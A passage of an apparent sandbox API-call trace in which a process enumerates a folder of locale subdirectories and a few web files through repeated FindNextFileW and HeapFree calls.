cFileName="eu-ES", cAlternateFileName="")) returned 1 [0077.097] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.098] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0077.098] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.098] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1 [0077.098] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.098] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0077.098] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.098] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1 [0077.099] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.099] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0077.099] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.099] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1 [0077.099] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.099] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1 [0077.100] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.100] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0077.458] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.458] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0077.458] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.459] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0077.459] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.459] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0077.460] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.460] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0077.460] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.460] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0077.460] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.460] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0077.461] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.461] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1 [0077.461] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.461] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0077.462] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.462] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0077.462] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.462] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1 [0077.463] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.463] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0077.463] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.463] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1 [0077.464] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.464] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0077.464] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.464] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1 [0077.465] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.465] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0077.465] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.465] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0077.466] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.466] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0077.467] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.467] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0077.467] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.467] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0077.468] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.468] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0077.468] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.468] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0077.469] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.469] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0077.469] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.469] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0077.470] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.470] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0077.470] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.470] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0077.471] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.471] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0077.471] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.471] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0077.472] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.472] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1 [0077.472] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.472] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0077.472] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.472] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0077.473] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.473] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0077.473] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.473] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, 